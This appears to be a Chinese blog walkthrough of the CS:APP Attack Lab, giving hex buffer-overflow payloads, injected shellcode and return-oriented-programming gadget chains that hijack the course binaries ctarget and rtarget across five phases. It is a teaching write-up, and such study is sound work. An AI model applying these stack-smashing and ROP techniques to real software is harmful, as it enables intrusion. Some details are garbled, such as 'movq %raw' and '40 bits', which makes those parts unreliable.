赞
踩
前情提要:因为图片都很长的原因,up不会调,所以可能看的不舒服,请原谅up,电脑可以缩小至80或者90看会舒服一点,实在抱歉了
本次实验用到的基本上是缓冲区越界,学过c语言的可以将他类比为数组越界,原本数组开了10个int大小,但是我们给他输入了15个数字,那多出来5个数字就覆盖掉了别的位置的数。
一个例子:
我们要执行一个函数会向下开辟空间,就是红色区域。然后这个函数执行完会ret返回就是return到开辟之前的空间,就是第一个rsp的位置,然后执行那里的地址的代码。
test函数是1-5题都要接触到的
getbuf执行完rsp会回到上图rsp的位置
本关任务:本关需要做的是劫持程序流,将函数的正常返回地址重写,使函数重定向到指定的函数。 本关要求重定向到touch1
函数。
getbuf函数
getbuf函数开辟40个字节,然后test的rsp里面存的是地址有8个字节,存的是函数的地址且用小端法表示
所以我们要填充完40个字节的空间,然后让他溢出填充多8个字节的空间,把之前一个函数的地址覆盖成touch1的地址
用disas touch1 查询touch1的地址是0x4017c0,小端法表示:c0 17 40 00 00 00 00 00
所以答案是:
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00 这里面40个00都是用来填充前面getbuf的40个bits的空间的
- c0 17 40 00 00 00 00 00 让rsp指向的函数地址变成touch1的
创建一个 1.txt文本存16进制数
然后按 i 进入编辑模式
输入进去,有空格尽量不要有换行
然后esc :wq 冒号然后输入wq保存文档
转换为机器可以识别的机器码存进2.txt文档里
然后将这个2.txt文本作为参数传入ctarget里
任务完成了,成功唤醒了touch1函数
本关任务依然是在调用getbuf函数后不返回test函数,而是执行touch2函数。但是需要传入一个unsigned类型的参数,且该参数值与cookie值一致才能通关。 提示:此cookie值存放于文件cookie.txt中,值为0x59b997fa
tips:本关任务:与第一关不同,本关需要做的是在输入字符串中注入一小段代码。 其实整体的流程还是getbuf
中输入字符,然后拦截程序流,跳转到调用touch2
函数
我们需要唤醒touch2函数的时候并且传参进去。已知我们只用传一个参数进去,所以那个参数在的位置是 %rdi 寄存器
那我们如何执行我们存进去的代码呢?执行的顺序是什么?
1.我们知道传参进 %rdi 一定是调用touch2函数之前,所以我们需要的代码是
- movq $0x59b997fa, %rdi ///传cookie的值给%rdi
- pushq $0x4017ec ///将touch2函数压栈,然后ret就可以调用touch2函数
- ret /// 0x4017ec是touch2的地址
所以栈情况长这样:
分析这个是如何执行的我们就知道为什么要这样放栈了
然后大家就可以理解代码插入哪里,还有为什么 rsp2 的地址不像第一题是直接指向touch2,而是要指向我们插入的代码了吧
然后我们就可以知道我们要填入什么东西了
1.我们要填入我们代码的机器码
2.然后补齐加入机器码之后的剩余空间
3.然后溢出的部分,就是执行完getbuf后会调用的函数地址要是我们插入的代码的地址了吧(插入的代码地址其实就是我们从rsp1的栈顶开始插入的,所以我们知道rsp1的地址就行了)
然后怎么把汇编代码变成机器码:
我们需要的代码转换后:
- 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
- 7: 68 ec 17 40 00 pushq $0x4017ec
- c: c3 retq
所以我们需要的十六进制是:
- 48 c7 c7 fa 97 b9 59 68 ///给%rdi赋值
- ec 17 40 00 c3 00 00 00 ///touch2函数压栈
- 00 00 00 00 00 00 00 00 ///c3是ret,调用touch2函数
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 78 dc 61 55 00 00 00 00 ///这里的地址是rsp1的地址,就是getbuf的栈顶,建议回归上面的图
- ///指向插入代码的地址执行这些代码
然后按照前面的方式提交将16进制转换后的机器码的文本作为参数就好了
本关任务:类似于第二关,本关需要做的也是需要在输入的字符串中注入一段代码。 但是不同于第二关的是,在这一关中我们需要传递字符串作为参数。
tips:
1、在C语言中字符串是以\0结尾,所以在字符串序列的结尾是一个字节0 2、当调用hexmatch和strncmp时,会把数据压入到栈中,有可能会覆盖getbuf栈帧的数据,所以传进去字符串的位置要谨慎选择。
第二题我们是把cookie值当成一个实数传进去,这道题我们需要传入的是字符串,那字符串怎么传?
传地址
我们将cookie值看成字符串,然后ascii转16进制,然后在栈中的某个位置放这个字符串的16进制编码,然后我们将这个地址传入函数里面,就是传入字符串了
需要用到的代码:
- 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi //将字符串地址赋值给rdi
- 7: 68 fa 18 40 00 pushq $0x4018fa //touch3压栈
- c: c3 retq //返回调用touch3函数
填的结构:从上往下
cookie字符串
我们插入的代码的地址,也就是getbuf的栈顶指针
插入的代码和填充40bites的剩余空间的编码
touch3的地址为 0x4018fa
- 48 c7 c7 a8 dc 61 55 68
- fa 18 40 00 c3 00 00 00 //插入的代码块
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 78 dc 61 55 00 00 00 00 //调用代码块
- 35 39 62 39 39 37 66 61 //cookie的字符串在的地址
按照之前的方式提交就好了!!!
本关任务:本关需要做的是重复代码注入攻击中第二关的任务,劫持程序流,返回到touch2
函数。 只不过这个我们要做的是ROP
(返回导向编程)攻击,这一阶段无法再像上一阶段中那样将指令序列放入到栈中,所以需要使用gadget farm
里的gadget
来攻击rtarget
程序。
分析如下:题目的意思是,我们这个代码里面包含了 movq %raw ,%rdi
可以理解为,一个函数
void add(int x,int y)
{
int a,b; 1
a=1,b=2; 2
b=a; 3
}
这个函数整体3个部分,然后我只需要这个函数的2部分,那我就从其中提取2这个部分就好了
就像上面说的c7 07 d4 48 89 c7是一个movl %0xc78948d4 ,(%rdi) 的函数,但是其中有一部分是movq %raw ,%rdi 就是 48 89 c7部分,这部分才是我们所需要的,所以我们只要在其中提取48 89 c7的部分就好了
查表:
本题大致结构:
题目说了getbuf里的东西都是不能运行的,没有运行权限,所以全部按0补充就好了
然后思路就跟第二题差不多,将cookie的值传入rdi然后调用touch2函数
需要的汇编代码如下:
-
- popq %rax ///pop会将一个值弹出并保存在rax中
- ret
- ###############
- movq %rax, %rdi
- ret
-
-
所以我们弹出cookie,放在rax中,然后rax将他赋值给rdi,就好了
所以我们要放入的结构是:
从上往下:
1.touch2的地址
2.将rax的值赋值给rdi
3.cookie值
4.指令,弹出一个数并将其赋值给rax
5.getbuf空间用00填满
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- ab 19 40 00 00 00 00 00 ///pop
- fa 97 b9 59 00 00 00 00 ///cookie值
- c5 19 40 00 00 00 00 00 ///rdi=rax赋值
- ec 17 40 00 00 00 00 00 ///调用touch2函数
phase_4道题这样就好啦!!!
本关任务:本关需要做的是重复代码注入攻击中第二关的任务,劫持程序流,返回到touch2
函数。 只不过这个我们要做的是ROP
(返回导向编程)攻击,这一阶段无法再像上一阶段中那样将指令序列放入到栈中,所以需要使用gadget farm
里的gadget
来攻击rtarget
程序。
其实是在不能自己写代码的情况下完成第三题,touch3
思路其实与上题一样,不过复杂了一些
复杂原因是:因为我们不能写代码,有时候地址偏移或者赋值我们自己写一步就好了,但是系统里面的代码可能没有这么直接的,需要一小部分一小部分提取拼接:
如我需要A-B,但是系统没有只有A-C,C-B,所以我们需要找出A-C,C-B完成A-B的操作
栈的结构:
1.将栈顶的位置rsp保存在rax中
2.将rax的值给到rdi
3.弹出0x48保存在rax中,rax被覆盖为偏移地址,rdi是栈顶rsp
4.将eax就是rax的值给到edx就是rdx,rax->rdx
5.edx给到ecx,就是rdx->rcx
6.ecx给到esi,就是rcx给到rsi
7.调用lea (%rdi,%rsi,1),rax 将rax的值指向rdi栈顶指针rsp加偏移量rsi就是0x48的位置,就是cookie的位置
8.然后rax赋值给rdi,调用touch3函数
其实本质上就是让栈顶rsp偏移指向cookie字符串所在的地址,但是我们没有现成的函数只能取这么多出来拼接
要用到的函数:
- #地址:0x401aad
- movq %rsp, %rax
- ret
-
- #地址:0x4019a2
- movq %rax, %rdi
- ret
-
- #地址:0x4019cc
- popq %rax
- ret
-
- #地址:0x4019dd
- movl %eax, %edx
- ret
-
- #地址:0x401a70
- movl %edx, %ecx
- ret
-
- #地址:0x401a13
- movl %ecx, %esi
- ret
-
- #地址:0x4019d6
- lea (%rdi,%rsi,1),%rax
- ret
-
- #地址:0x4019a2
- movq %rax, %rdi
- ret
最后得出的答案:
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- ad 1a 40 00 00 00 00 00
- a2 19 40 00 00 00 00 00
- cc 19 40 00 00 00 00 00
- 48 00 00 00 00 00 00 00
- dd 19 40 00 00 00 00 00
- 70 1a 40 00 00 00 00 00
- 13 1a 40 00 00 00 00 00
- d6 19 40 00 00 00 00 00
- a2 19 40 00 00 00 00 00
- fa 18 40 00 00 00 00 00
- 35 39 62 39 39 37 66 61
麻烦的地方是要查函数,而且要查表,在函数中检索我们需要的代码部分。
phase_5就结束啦!!!!
完结!!!
抱歉托更了有点久,一直放着更新ing
我是跟着这篇文章学习的,如果有还不懂得可以借鉴一下
这篇attack lab写的挺好的
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。